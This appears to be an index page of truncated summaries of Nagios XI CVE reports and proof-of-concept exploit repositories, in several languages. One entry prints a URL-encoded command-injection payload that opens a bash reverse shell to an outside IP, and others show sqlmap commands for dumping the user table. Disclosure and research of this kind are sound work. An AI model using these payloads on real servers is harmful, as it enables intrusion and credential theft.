CVE-2024-24401

Rapport de vulnérabilité CVE découverte par : Jarod Jaslow MAWK CONÇU POUR ÊTRE EXÉCUTÉ SUR KALI LINUX Remarques Nagios a corrigé la version 2024R1.0.1 dans tous les téléchargements récents. Pour déterminer si une cible est vulnérable, assurez-vous qu'elle utilise un ancien téléchargement de...

CVE-2025-61299_POC

CVE-2025-61299POC Injection de commande authentifiée dans Nagios XI 2024R1 CVE-2025-61299...

CVE-2024-24402

Rapport de vulnérabilité CVE découverte par : Jarod Jaslow MAWK Détails de la vulnérabilité : Point de terminaison : Nagios XI Version 2024R1.01 Type de vulnérabilité : Élévation de privilèges à partir de l'utilisateur « NAGIOS » Résultat de l'exploitation : Accès root complet sur le système cibl...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Сообщения об ошибках в Nagios XI CVE-2021-25296 Расположение кода /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Фрагмент кода root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen;...

CVE-2019-20197

CVE-2019-20197 Exécution de commande à distance dans Nagios XI = v5.6.9 Charge utile http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

Nagios-XI-s-CVE-2023-40931-Exploit

Ce depot n’a pas de fichier README...

CVE-2024-33775

CVE обнаружен: K. Wahab NeoX Детали уязвимости: Продукт: Nagios XI Version 2024R1.01 Уязвимость: Повышение привилегий от пользователей "NAGIOS" или "APACHE" Результат: Полный root-доступ к целевой системе CVE: https://vulners.com/cve/CVE-2024-33775 Эксплойт: RSS Dashlet используется в данном...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC Python pour le CVE-2019-15949 Aperçu Une vulnérabilité existe dans Nagios XI = 5.6.5 permettant à un attaquant d'exploiter une RCE pour élever ses privilèges à root. L'exploit nécessite un accès au serveur en tant qu'utilisateur 'nagios', ou un accès CCM via...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 개요 Nagios XI = 5.6.5에는 공격자가 RCE를 활용하여 root로 권한을 상승시킬 수 있는 취약점이 존재합니다. 이 익스플로잇은 'nagios' 사용자로 서버에 접근할 수 있는 권한, 또는 웹 인터페이스를 통해 플러그인을 관리할 수 있는 CCM 접근 권한이 필요합니다. 세부 정보 getprofile.sh 스크립트는 시스템 프로필 다운로드profile.php?cmd=download 시 호출되며, passwordless sudo 항목을 통해 root 권한으로 실행됩니다. 이...

CVE-2023-40933-PoC

CVE-2023-40933 Le payload sqlmap pour exploiter CVE-2023-40933 Payload Informations requises : Nom d'utilisateur et mot de passe valides Domaine et chemin de l'instance hébergée root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2023-40931-PoC

CVE-2023-40931 La charge utile sqlmap pour exploiter CVE-2023-40931 Charge utile Informations requises : Nom d'utilisateur et mot de passe valides Domaine et chemin de l'instance hébergée root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2023-48084-Revised

CVE-2023-48084 — обновлённый PoC Репозиторий: MettHK/CVE-2023-48084-Revised Обновлённая версия Hamibubu/CVE-2023-48084 с многопоточностью, извлечением с помощью бинарного поиска и флагами CLI для выбора базы данных / таблицы / столбцов. Не оригинальный репозиторий. Это производный/улучшенный PoC...

CVE-2024-24401

Rapport de vulnérabilité CVE découverte CONÇU POUR ÊTRE EXÉCUTÉ SUR KALI LINUX Remarques Nagios a corrigé la version 2024R1.0.1 dans tous les téléchargements récents. Pour déterminer si une cible est vulnérable, assurez-vous qu'elle utilise un téléchargement plus ancien de 2024R1.0.1. Le script m...

CVE-2019-20197

Vulnérabilité d'exécution de commande à distance dans Nagios XI CVE-2019-20197 POC : POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2023-47400

CVE-2023-47400 CVE-2023-47400에 대한 PoC Nagios XI 5.11.0에서 임의 파일 쓰기를 통한 인증된 PHP 원격 코드 실행 !Note 이 PoC는 NCC 그룹이 공개한 기술 권고를 기반으로 합니다. https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/ 이 PoC는 다음 과정을 따릅니다: placeholder.jpg라는 유효한 이미지를 업로드합니다 JFIF 매직 바이트 헤더만...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI Authenticated Command Injection в Configuration Wizard Простой репозиторий с подтверждением концепции для CVE-2025-34227, аутентифицированной инъекции команд в Nagios XI - Configuration Wizard Полное описание здесь:...

CVE-2023-48084

CVE-2023-48084 Python-эксплойт для CVE-2023-48084 - Nagios XI before version 5.11.3 was discovered to contain a SQL injection vulnerability via the bulk modification tool. Эксплойт использует /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id= для выполнения SQL-запросов и...

CVE-2026-48549

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...

UBUNTU-CVE-2026-48549

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...